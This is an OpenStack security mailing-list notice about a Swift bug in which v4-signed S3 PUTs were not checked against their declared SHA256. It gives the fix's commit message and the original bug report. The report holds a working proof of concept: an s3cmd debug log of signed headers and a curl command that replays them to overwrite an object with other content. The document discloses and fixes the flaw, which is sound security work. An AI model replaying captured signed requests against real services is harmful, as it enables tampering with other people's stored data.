[Openstack-security] [Bug 1765834] Re: Need to verify content of v4-signed PUTs
OpenStack Infra
1765834 at bugs.launchpad.net
Wed Mar 20 23:53:01 UTC 2019
Reviewed: https://review.openstack.org/629301
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=3a8f5dbf9c49fdf1cf2d0b7ba35b82f25f88e634
Submitter: Zuul
Branch: master
commit 3a8f5dbf9c49fdf1cf2d0b7ba35b82f25f88e634
Author: Tim Burke <tim.burke at gmail.com>
Date: Tue Dec 11 15:29:35 2018 -0800
Verify client input for v4 signatures
Previously, we would use the X-Amz-Content-SHA256 value when calculating
signatures, but wouldn't actually check the content that was sent. This
would allow a malicious third party that managed to capture the headers
for an object upload to overwrite that with arbitrary content provided
they could do so within the 5-minute clock-skew window.
Now, we wrap the wsgi.input that's sent on to the proxy-server app to
hash content as it's read and raise an error if there's a mismatch. Note
that clients using presigned-urls to upload have no defense against a
similar replay attack.
Notwithstanding the above security consideration, this *also* provides
better assurances that the client's payload was received correctly. Note
that this *does not* attempt to send an etag in footers, however, so the
proxy-to-object-server connection is not guarded against bit-flips.
In the future, Swift will hopefully grow a way to perform SHA256
verification on the object-server. This would offer two main benefits:
- End-to-end message integrity checking.
- Move CPU load of calculating the hash from the proxy (which is
somewhat CPU-bound) to the object-server (which tends to have CPU to
spare).
Change-Id: I61eb12455c37376be4d739eee55a5f439216f0e9
Closes-Bug: 1765834
** Changed in: swift
Status: New => Fix Released
--
You received this bug notification because you are a member of OpenStack
Security SIG, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1765834
Title:
Need to verify content of v4-signed PUTs
Status in OpenStack Security Advisory:
Won't Fix
Status in OpenStack Object Storage (swift):
Fix Released
Status in Swift3:
New
Bug description:
This issue is being treated as a potential security risk under
embargo. Please do not make any public mention of embargoed (private)
security vulnerabilities before their coordinated publication by the
OpenStack Vulnerability Management Team in the form of an official
OpenStack Security Advisory. This includes discussion of the bug or
associated fixes in public forums such as mailing lists, code review
systems and bug trackers. Please also avoid private disclosure to
other individuals not already approved for access to this information,
and provide this same reminder to those who are made aware of the
issue prior to publication. All discussion should remain confined to
this private bug report, and any proposed fixes should be added to the
bug as attachments.
When we added support for v4 signatures, we (correctly) require that
the client provide a X-Amz-Content-SHA256 header and use it in
computing the expected signature. However, we never verify that the
content sent actually matches the SHA! As a result, an attacker that
manages to capture the headers for a PUT request has a 5-minute window
to overwrite the object with arbitrary content of the same length:
[11:50:08] $ echo 'GOOD' > good.txt
[11:50:12] $ echo 'BAD!' > bad.txt
[11:50:36] $ s3cmd put --debug good.txt s3://bucket
DEBUG: s3cmd version 1.6.1
DEBUG: ConfigParser: Reading file '/Users/tburke/.s3cfg'
DEBUG: ConfigParser: access_key->te...8_chars...r
DEBUG: ConfigParser: secret_key->te...4_chars...g
DEBUG: ConfigParser: host_base->saio:8080
DEBUG: ConfigParser: host_bucket->saio:8080
DEBUG: ConfigParser: use_https->False
DEBUG: Updating Config.Config cache_file ->
DEBUG: Updating Config.Config follow_symlinks -> False
DEBUG: Updating Config.Config verbosity -> 10
DEBUG: Unicodising 'put' using UTF-8
DEBUG: Unicodising 'good.txt' using UTF-8
DEBUG: Unicodising 's3://bucket' using UTF-8
DEBUG: Command: put
DEBUG: DeUnicodising u'good.txt' using UTF-8
INFO: Compiling list of local files...
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: Unicodising '' using UTF-8
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: Applying --exclude/--include
DEBUG: CHECK: good.txt
DEBUG: PASS: u'good.txt'
INFO: Running stat() and reading/calculating MD5 values on 1 files, this may take some time...
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: doing file I/O to read md5 of good.txt
DEBUG: DeUnicodising u'good.txt' using UTF-8
INFO: Summary: 1 local files to upload
DEBUG: attr_header: {'x-amz-meta-s3cmd-attrs': 'uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212'}
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: String 'good.txt' encoded to 'good.txt'
DEBUG: CreateRequest: resource[uri]=/good.txt
DEBUG: Using signature v4
DEBUG: get_hostname(bucket): saio:8080
DEBUG: canonical_headers = content-length:5
content-type:text/plain
host:saio:8080
x-amz-content-sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
x-amz-date:20180420T185102Z
x-amz-meta-s3cmd-attrs:uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212
x-amz-storage-class:STANDARD
DEBUG: Canonical Request:
PUT
/bucket/good.txt
content-length:5
content-type:text/plain
host:saio:8080
x-amz-content-sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
x-amz-date:20180420T185102Z
x-amz-meta-s3cmd-attrs:uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212
x-amz-storage-class:STANDARD
content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
----------------------
DEBUG: signature-v4 headers: {'x-amz-content-sha256': 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855', 'content-length': '5', 'x-amz-storage-class': 'STANDARD', 'x-amz-meta-s3cmd-attrs': 'uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212', 'x-amz-date': '20180420T185102Z', 'content-type': 'text/plain', 'Authorization': 'AWS4-HMAC-SHA256 Credential=test:tester/20180420/US/s3/aws4_request,SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class,Signature=e79e1dd2fcd3ba125d3186abdbaf428992c478ad59380eab4d81510cfc494e43'}
DEBUG: Unicodising 'good.txt' using UTF-8
upload: 'good.txt' -> 's3://bucket/good.txt' [1 of 1]
DEBUG: DeUnicodising u'good.txt' using UTF-8
DEBUG: Using signature v4
DEBUG: get_hostname(bucket): saio:8080
DEBUG: canonical_headers = content-length:5
content-type:text/plain
host:saio:8080
x-amz-content-sha256:d43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7
x-amz-date:20180420T185102Z
x-amz-meta-s3cmd-attrs:uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212
x-amz-storage-class:STANDARD
DEBUG: Canonical Request:
PUT
/bucket/good.txt
content-length:5
content-type:text/plain
host:saio:8080
x-amz-content-sha256:d43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7
x-amz-date:20180420T185102Z
x-amz-meta-s3cmd-attrs:uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212
x-amz-storage-class:STANDARD
content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class
d43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7
----------------------
DEBUG: signature-v4 headers: {'x-amz-content-sha256': 'd43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7', 'content-length': '5', 'x-amz-storage-class': 'STANDARD', 'x-amz-meta-s3cmd-attrs': 'uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212', 'x-amz-date': '20180420T185102Z', 'content-type': 'text/plain', 'Authorization': 'AWS4-HMAC-SHA256 Credential=test:tester/20180420/US/s3/aws4_request,SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class,Signature=63a27138d8f6fd0320a15f8ef8bf95474246c80a38ed68693c58173cefd8589b'}
DEBUG: get_hostname(bucket): saio:8080
DEBUG: ConnMan.get(): creating new connection: http://saio:8080
DEBUG: non-proxied HTTPConnection(saio:8080)
DEBUG: format_uri(): /bucket/good.txt
5 of 5 100% in 0s 373.44 B/sDEBUG: ConnMan.put(): connection put back to pool (http://saio:8080#1)
DEBUG: Response: {'status': 200, 'headers': {'content-length': '0', 'x-amz-id-2': 'tx98be5ca4733e430eb4a76-005ada3696', 'x-trans-id': 'tx98be5ca4733e430eb4a76-005ada3696', 'last-modified': 'Fri, 20 Apr 2018 18:51:03 GMT', 'etag': '"f9d9dc2bab2572ba95cfd67b596a6d1a"', 'x-amz-request-id': 'tx98be5ca4733e430eb4a76-005ada3696', 'date': 'Fri, 20 Apr 2018 18:51:02 GMT', 'content-type': 'text/html; charset=UTF-8', 'x-openstack-request-id': 'tx98be5ca4733e430eb4a76-005ada3696'}, 'reason': 'OK', 'data': '', 'size': 5L}
5 of 5 100% in 0s 56.02 B/s done
DEBUG: MD5 sums: computed=f9d9dc2bab2572ba95cfd67b596a6d1a, received="f9d9dc2bab2572ba95cfd67b596a6d1a"
/Users/tburke/.virtualenvs/Python27/lib/python2.7/site-packages/magic/identify.py:62: RuntimeWarning: Implicitly cleaning up <magic.api.LP_Cookie object at 0x110369050>
CleanupWarning)
[11:51:02] $ curl -v http://saio:8080/bucket/good.txt -T bad.txt -H 'x-amz-content-sha256: d43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7' -H 'x-amz-storage-class: STANDARD' -H 'x-amz-meta-s3cmd-attrs: uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212' -H 'x-amz-date: 20180420T185102Z' -H 'content-type: text/plain' -H 'Authorization: AWS4-HMAC-SHA256 Credential=test:tester/20180420/US/s3/aws4_request,SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class,Signature=63a27138d8f6fd0320a15f8ef8bf95474246c80a38ed68693c58173cefd8589b'
* Trying 192.168.8.80...
* TCP_NODELAY set
* Connected to saio (192.168.8.80) port 8080 (#0)
> PUT /bucket/good.txt HTTP/1.1
> Host: saio:8080
> User-Agent: curl/7.54.0
> Accept: application/json;q=1, text/*;q=.9, */*;q=.8
> x-amz-content-sha256: d43cf775e7609f1274a4cd97b7649be036b01a6e22d6a04038ecd51811652cf7
> x-amz-storage-class: STANDARD
> x-amz-meta-s3cmd-attrs: uid:501/gname:staff/uname:tburke/gid:20/mode:33188/mtime:1524250212/atime:1524250212/md5:f9d9dc2bab2572ba95cfd67b596a6d1a/ctime:1524250212
> x-amz-date: 20180420T185102Z
> content-type: text/plain
> Authorization: AWS4-HMAC-SHA256 Credential=test:tester/20180420/US/s3/aws4_request,SignedHeaders=content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-meta-s3cmd-attrs;x-amz-storage-class,Signature=63a27138d8f6fd0320a15f8ef8bf95474246c80a38ed68693c58173cefd8589b
> Content-Length: 5
> Expect: 100-continue
>
< HTTP/1.1 100 Continue
* We are completely uploaded and fine
< HTTP/1.1 200 OK
< Content-Length: 0
< x-amz-id-2: tx348d466b04cd425b81760-005ada3718
< Last-Modified: Fri, 20 Apr 2018 18:53:13 GMT
< ETag: "6cd890020ad6ab38782de144aa831f24"
< x-amz-request-id: tx348d466b04cd425b81760-005ada3718
< Content-Type: text/html; charset=UTF-8
< X-Trans-Id: tx348d466b04cd425b81760-005ada3718
< X-Openstack-Request-Id: tx348d466b04cd425b81760-005ada3718
< Date: Fri, 20 Apr 2018 18:53:13 GMT
<
* Connection #0 to host saio left intact
---
I've attached a fix, but it could use tests :-/
To manage notifications about this bug go to:
https://bugs.launchpad.net/ossa/+bug/1765834/+subscriptions
More information about the Openstack-security
mailing list